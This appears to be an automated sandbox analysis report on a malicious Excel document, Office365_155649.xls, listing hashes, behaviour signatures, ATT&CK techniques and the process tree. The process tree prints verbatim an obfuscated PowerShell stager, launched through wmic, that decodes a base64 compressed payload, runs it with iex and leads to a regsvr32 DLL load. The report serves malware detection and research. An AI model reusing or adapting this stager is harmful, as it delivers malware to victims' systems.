478b989b58015300f188b4d6459d08d61edef08730fdc2256601cddd7b98ebb3

General

Target

Office365_155649.xls
Size

65KB
MD5

ad99acf449d38ae16688948601ac1c48
SHA1

aca7300bbd57be32427a1b69ab7ab9792d4d7efe
SHA256

478b989b58015300f188b4d6459d08d61edef08730fdc2256601cddd7b98ebb3
SHA512

9893e23ce9856eb086992d3ccbce7a673b0cbab171eeac991034eb5ac3f5d6f735e1f49a767e05dc77c1b09a3a66f161add8d2921895bf783e5b64e18057a635

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEpOwershElL.exe

description	pid	process	target process
PID 2728 wrote to memory of 728	2728	EXCEL.EXE	wmic.exe
PID 2728 wrote to memory of 728	2728	EXCEL.EXE	wmic.exe
PID 2220 wrote to memory of 1508	2220	pOwershElL.exe	regsvr32.exe
PID 2220 wrote to memory of 1508	2220	pOwershElL.exe	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

pOwershElL.exe

pid process

2220 pOwershElL.exe
2220 pOwershElL.exe
2220 pOwershElL.exe
Blacklisted process makes network request 1 IoCs

Processes:

pOwershElL.exe

flow pid process

20 2220 pOwershElL.exe

pid	process
2220	pOwershElL.exe
2220	pOwershElL.exe
2220	pOwershElL.exe

flow	pid	process
20	2220	pOwershElL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE
2728 EXCEL.EXE

pid	process
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE
2728	EXCEL.EXE

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

wmic.exepOwershElL.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	728	2728	wmic.exe	EXCEL.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	1656	pOwershElL.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

wmic.exepOwershElL.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	728	wmic.exe
Token: SeSecurityPrivilege	728	wmic.exe
Token: SeTakeOwnershipPrivilege	728	wmic.exe
Token: SeLoadDriverPrivilege	728	wmic.exe
Token: SeSystemProfilePrivilege	728	wmic.exe
Token: SeSystemtimePrivilege	728	wmic.exe
Token: SeProfSingleProcessPrivilege	728	wmic.exe
Token: SeIncBasePriorityPrivilege	728	wmic.exe
Token: SeCreatePagefilePrivilege	728	wmic.exe
Token: SeBackupPrivilege	728	wmic.exe
Token: SeRestorePrivilege	728	wmic.exe
Token: SeShutdownPrivilege	728	wmic.exe
Token: SeDebugPrivilege	728	wmic.exe
Token: SeSystemEnvironmentPrivilege	728	wmic.exe
Token: SeRemoteShutdownPrivilege	728	wmic.exe
Token: SeUndockPrivilege	728	wmic.exe
Token: SeManageVolumePrivilege	728	wmic.exe
Token: 33	728	wmic.exe
Token: 34	728	wmic.exe
Token: 35	728	wmic.exe
Token: 36	728	wmic.exe
Token: SeIncreaseQuotaPrivilege	728	wmic.exe
Token: SeSecurityPrivilege	728	wmic.exe
Token: SeTakeOwnershipPrivilege	728	wmic.exe
Token: SeLoadDriverPrivilege	728	wmic.exe
Token: SeSystemProfilePrivilege	728	wmic.exe
Token: SeSystemtimePrivilege	728	wmic.exe
Token: SeProfSingleProcessPrivilege	728	wmic.exe
Token: SeIncBasePriorityPrivilege	728	wmic.exe
Token: SeCreatePagefilePrivilege	728	wmic.exe
Token: SeBackupPrivilege	728	wmic.exe
Token: SeRestorePrivilege	728	wmic.exe
Token: SeShutdownPrivilege	728	wmic.exe
Token: SeDebugPrivilege	728	wmic.exe
Token: SeSystemEnvironmentPrivilege	728	wmic.exe
Token: SeRemoteShutdownPrivilege	728	wmic.exe
Token: SeUndockPrivilege	728	wmic.exe
Token: SeManageVolumePrivilege	728	wmic.exe
Token: 33	728	wmic.exe
Token: 34	728	wmic.exe
Token: 35	728	wmic.exe
Token: 36	728	wmic.exe
Token: SeDebugPrivilege	2220	pOwershElL.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2728 EXCEL.EXE

pid	process
2728	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Office365_155649.xls"
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:2728

C:\Windows\System32\Wbem\wmic.exe
wmic pROcesS call CREATE "pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS iex("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")"
2⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\pOwershElL.exe
pOwershElL -noproF -NOniNTER -Win 01 -ExeCUTIoNpOL byPasS iex("\"&('s'+'al') ('utf-'+'8') ('New'+'-Obje'+'ct');& ( `${S`H`elLid}[1]+`${shEL`l`ID}[13]+'X')(.('utf'+'-8') ('i'+'o'+'.STrEa'+'MreA'+'deR')(( &('u'+'tf-8') ('IO.'+'co'+'M'+'PREsS'+'Ion'+'.DE'+'fLAtEST'+'rEam')( [sYsTem.IO.MemorYSTReAm][sYStEM.CONVeRT]::fRomBASE64StRinG( ('bVVrc9o'+'4FP0rDuOt5AJOoE03'+'CcPsEvIoKcmmhYXtUqZ2jCBq/CC2TEJd/fc9VyYkmdkPIKH7'+'Ojr36GIXay/UbcZadpHp9h6WhW43sFxdYd1726Cj2Puh25zlrMpufOZUOZulEj/yiDmteR4HSiaxddnkdtH7qJ3CLjdult9kKpXxglNax6qnYhn6geCszmp2se5r5+Xh4OmwlQqVp7FlF9+1flHgE/KMkV/O+Q5/w9lQZKoOHN0EX3EsyI12DFm7FD4GhmU'+'oFWe7zJk0p+4wldFpPOPMIp/jfD4X'+'6UD+FFbjA0KSPFZWw'+'6oLH7EDbdXvcymU4xQbPPtAYxeX3icw5hNlay/CNqZ'+'tx+sQRzEBUDIDMXYReF06SyKcWfjsLkWagD9DtzFiCbYYLRM0QB9wt6jJHM5dzhYIfIgk8HI2lvG75veAakRLaoASa'+'bbGJqOqguos02'+'RGlkAxx3HzXM4oqQDM'+'W0VODN1bZkeEBkhKGBO7ONf'+'TanmJKnMDOG0tma4'+'Z87ZRFuPfTop97bCaycH+YAgdDHQLfSHkd0BOJcGwuLf2oYdCeDO67OlLTezVDjbQYJjpKun'+'sgspTOrFlxUXnDADdAhuDko'+'gR8Pv4pNK/CbGKo905DKbCVk8W6ekr9E1lPnrHVGgdaSLBpFohomFVroRyx+KmG0p'+'h'+'395UWrjCo'+'FdW8ZGfRB8KIqzbpFOYczUn2R3QTyQ6LxPVR77jmOiRiQ7wXTlJHuIw8Wcnvr'+'KjuwqAJF7nBKrgk'+'+6tn06mU0o4enUXE22KIWWYi79ix+Wl2wYPPqHYFiEv9LoXr5I7UToSPSZf6TUnLZhcjlO/SGT8zMvQOzsnYsTVyDvyhqeXS9J4JAH'+'RLgB0o8BAGnqN96835ZkgPdVTP54ZQVKN2I/Es1AqbvF'+'e23TpMZUwwVX2jfqLAtRpmFaXZDOsvBoYRncL'+'g3Gp2xMZqymcI/0WsykmjH3vc0db29hURMlKvA687lNuOPp4zEZPbMf0nt6LHxpusswsqVhkK+rCu6Z5hj88qjoUj8o9jYNkBlDTo6O/h2cHzwNp5HVQ76'+'f3D828YkA'+'TYNJN4pVIF'+'XzP0iQ69jPx4f3g6U7/eo8vp9vAp/GWpMIPbmGVSluSzgF7QgNoSmnRnT+5uYx3PaTrrDB03GFC8umkqb82'+'xp4yU2Plm7fX84aog8zYX4QUhNdp0aX6ICJU2Eq4uAFNPDLAqVqlagttVdvWJEDyKZ8cr5UA670h4blAMKbAzWOSPhmuvaUypr7+'+'DW0igGXOqWNG5cobUfHQu+9o98vmXXK'+'KC8vRMq1WdipOraTbPRdqS9U5/hta'+'E5m4cxkKsDlOpRKdMKTKGewPusafL7xa6Veya+7tQXgOUmAm'+'kd8CM42VGn7QjtsX8ULdbqhYon3iEezT483MExRLuDabRiqkj3pmAksHQcI3Dof/h7Av4yeEE6hKPML2NJPMeK9xzr5+/n1GeUFK3+8Ki4PyzpfpwWF1s2lsNvv7Tq3cHTaJqOgOxPwH'))"\"+ ([ChAR]44).ToStrinG() +"\"[Io.ComprEssion.ComPreSSIoNmODE]::DecOMpREsS))"\"+ ([ChAR]44).ToStrinG() +"\" [SYsteM.tExT.EncODiNg]::AsCII)).REaDtOEnD( )"\")
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2220

C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\JavaDeployReg.
2⤵
PID:1508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/728-4-0x0000000000000000-mapping.dmp

Download
memory/1508-5-0x0000000000000000-mapping.dmp

Download
memory/2728-3-0x00000145AA600000-0x00000145AA605000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads